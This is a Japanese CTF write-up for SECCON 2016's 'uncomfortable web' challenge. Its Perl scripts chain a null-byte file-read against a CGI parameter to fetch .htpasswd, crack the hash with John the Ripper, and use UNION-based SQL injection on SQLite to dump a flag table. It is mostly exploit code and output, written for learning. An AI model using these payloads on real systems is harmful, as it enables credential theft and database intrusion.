SECCON 2016 Online CTF Writeup - uncomfortable web

#uncomfortable web(Web, 300pts)
>Attack to http://127.0.0.1:81/authed/ through the uploaded script
>Get the flag in the database! 

自作のスクリプトファイルをアップロードすると、リモートサーバ上で実行できます。
リモートサーバ内にある `http://127.0.0.1:81/`へアタックし、flagを探す問題です。
Shell, Perl, Python が選択でき、今回は Perl を使用しました。

![uncomfortableweb.png](https://qiita-image-store.s3.amazonaws.com/0/144905/b14d628d-b7e4-5f45-6c5d-ba828aacbe54.png)


## サンプルスクリプト
`http://127.0.0.1:81/` にリクエストを送信するサンプルが配布されていました。
そのままアップロードして実行してみます。

```pl:sample
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://127.0.0.1:81/');
my $res = $ua->request($req);
print $res->content;
```

```html:sample-result
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>
```

出力されたHTMLをブラウザに読み込ませるとこうなります。

![01.png](https://qiita-image-store.s3.amazonaws.com/0/144905/29d5666f-ca79-d600-27c6-908ee0fc9653.png)

## /authed にアクセス
はじめに、`authed` ディレクトリにアクセスを試みました。

```pl:01
#!/usr/bin/perl
use LWP::UserAgent;
use DBI;
my $ua = LWP::UserAgent->new;

my $url = 'http://127.0.0.1:81/authed/';
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
print $res->content;
```
![01.png](https://qiita-image-store.s3.amazonaws.com/0/144905/e9fec0c7-15e4-62da-5734-25916def98b9.png)

401で弾かれてしまいます。BASIC認証を通す必要がありそうです。

## select.cgi にアクセス
ファイル `select.cgi` にアクセスすると、a, b のドロップダウンが出てきました。

```pl:02
# 変更部分以外のソースは省略します。
$url = 'http://127.0.0.1:81/select.cgi';
```

```html:02-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
```
![02.png](https://qiita-image-store.s3.amazonaws.com/0/144905/c526f6d1-8cc6-3761-ded0-abfa6ac9849e.png)

## select.cgi?txt=a にアクセス
`a` を選択した際のURLにアクセスすると、テキストファイルのようなものが表示されました。

```pl:03
$url = 'http://127.0.0.1:81/select.cgi?txt=a';
```
![03.png](https://qiita-image-store.s3.amazonaws.com/0/144905/aad09193-08a5-f666-3ae2-e96e7d1a0c4e.png)


## select.cgi?txt=b にアクセス
`b` を選択した際のURLにアクセスすると、同じくテキストファイルのようなものが表示されました。

```pl:04
$url = 'http://127.0.0.1:81/select.cgi?txt=b';
```

```html:04-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
</body></html>
```

## select.cgi?txt=c にアクセス
`a` `b` と来ると、自然と `c` も試したくなるのでアクセスしてみます。
こちらも同じく、何やらテキストが表示されました。

```pl:05
$url = 'http://127.0.0.1:81/select.cgi?txt=c';
```

```html:05-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
---<br>
Do you want to enter authed/ directory?<br>
---<br>
</body></html>
```

## select.cgi の動作について
`select.cgi` のこれまでの動作をまとめてみます。

| パラメータ | 表示されたテキスト |
|:-:|:-:|:-:|
| txt=a | authed/a.txt |
| txt=b | authed/b.txt |
| txt=c | authed/c.txt (?) |

パラメータ `txt=XXXXX` を渡すことで、`authed/XXXXX.txt` を開けることが推測できます。

## authedディレクトリのBASIC認証情報を取得
BASIC認証に使用される `.htpasswd` と呼ばれるファイルを探してみます。
URLを次のように指定することで `authed/.htpasswd` を読み込むことができました。

```pl:06
$url = 'http://127.0.0.1:81/select.cgi?txt=.htpasswd%00';
```

```html:06-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>
```
末尾を `%00` とすることで、終端文字 `\0` と認識させています。
終端文字を利用すると、末尾に付加される `.txt` を無視させることが可能です。

| パラメータ | 開くファイル名 |
|:-:|:-:|:-:|
| txt=a | authed/a.txt |
| txt=.htpasswd | authed/.htpasswd.txt |
| txt=.htpasswd%00 | authed/.htpasswd |

## .htpasswd を解析
取得できた `keigo:LdnoMJCeVy.SE` を解析します。
[John the Ripper](http://www.openwall.com/john/) を使用すると、ユーザ名 `keigo` 、パスワード `test` であることが判明しました。

```
> john.exe htpasswd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
test             (keigo)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 230500  trying: orange - horses
Use the "--show" option to display all of the cracked passwords reliably
```

## authed ディレクトリにアクセス
BASIC認証の情報を入手できたため、再度 `authed` ディレクトリにアクセスを試みます。

```pl:07
(前略)
$url = "http://127.0.0.1:81/authed/";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
(後略)
```
![06.png](https://qiita-image-store.s3.amazonaws.com/0/144905/c0913d7c-cf5b-e5ea-13cb-3f9bfd2d004f.png)

直下に `sqlinj` ディレクトリがあるようです。

## auhted/sqlinj ディレクトリにアクセス
`authed/sqlinj` ディレクトリにアクセスしてみます。

```pl:08
# 変更部分以外のソースは省略します。
$url = "http://127.0.0.1:81/authed/sqlinj/";
```
![08.png](https://qiita-image-store.s3.amazonaws.com/0/144905/e2a887c8-645b-2e89-804d-74c895329236.png)

`1.cgi` ～ `100.cgi` まで同一サイズのファイルが格納されていました。なぜ100個も……。

## authed/sqlinj/1.cgi にアクセス
`authed/sqlinj/1.cgi` にアクセスすると、`?no=4822267938` へのリンクが現れました。

```pl:09
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi";
```

```html:09-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>
```
![09.PNG](https://qiita-image-store.s3.amazonaws.com/0/144905/9302f8b6-25ea-a1b8-1c9d-15de9fdeeb0e.png)

## authed/sqlinj/1.cgi?no=4822267938 にアクセス
先ほどの `no` パラメータを付加してアクセスすると、ISBNコード等が表示されました。

```pl:10
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938";
```

```html:10-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>
```
![10.png](https://qiita-image-store.s3.amazonaws.com/0/144905/f7619e3e-d3e1-88aa-e676-678e9ae63e0b.png)

ISBNコード=書籍 ですので、Amazonで検索してみます。……どうやら宣伝(?)のようです。
http://amazon.jp/dp/4822267938 → 絶対わかるセスペ27秋 2016年春版

## SQLインジェクションを試みる
>Get the flag in the database! 

出題文を振り返ると、flagはデータベース内にあるようです。
先ほどのISBN情報がDBで管理されていると仮定し、SQLインジェクションを試しました。

```pl:11
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=123' OR 1=1 --";
```

```html:11-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>
```
失敗のようです。パラメータを指定しなかった場合と同一のHTMLが返ってきました。

## 100個のCGIに対して攻撃を試みる
同ディレクトリ内に存在する100個のCGIに対して、同じリクエストを投げてみました。

```pl:12
for ($i = 1; $i <= 100; $i++){
    print "--- $i ---\n";
    $url = "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=123' OR 1=1 --";
    $req = HTTP::Request->new(GET => $url);
    $req->authorization_basic('keigo', 'test');
    $res = $ua->request($req);
    print $res->content . "\n\n";
}
```

```html:12-result(抜粋)
--- 72 ---
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267865<br>
ISBN-13: 978-4822267865<br>
PUBLISH: 2015/2/20<p>
ISBN-10: 4822267911<br>
ISBN-13: 978-4822267919<br>
PUBLISH: 2015/8/27<p>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>
```
`http://127.0.0.1:81/authed/sqlinj/72.cgi` のみ、テーブル内の全レコードを返してきました。

私のSQLインジェクション力が不足していたため、以後の手順は、他の方の解法を参考にしつつ解き進めた内容となっています。

## 72.cgi を利用してDB内を探索

SQLiteと仮定した場合、`sqlite_master` からDB内のテーブル一覧を入手することが可能です。

出力されるカラムが3つ (`ISBN-10`, `ISBN-13`, `PUBLISH`) のため、カラム数を揃えた上で `UNION` を使用して `sqlite_master` を参照します。

```pl:13
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT name, sql, 0 FROM sqlite_master --";
```

```html:13-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: books<br>
ISBN-13: CREATE TABLE books (isbn10,isbn13,date)<br>
PUBLISH: 0<p>
ISBN-10: f1ags<br>
ISBN-13: CREATE TABLE f1ags (f1ag)<br>
PUBLISH: 0<p>
</body></html>
```
`books` テーブルと `f1ags` テーブルが存在していることが判明しました。

## flagを取得
先ほど判明した `f1ags` テーブルの `f1ag` カラムを取得します。
カラム数を揃えることを忘れずに。

```pl:14
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT f1ag, 0, 0 FROM f1ags --";
```

```html:14-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br>
ISBN-13: 0<br>
PUBLISH: 0<p>
</body></html>
```

```:flag
SECCON{I want to eventually make a CGC web edition... someday...}
```

以上です。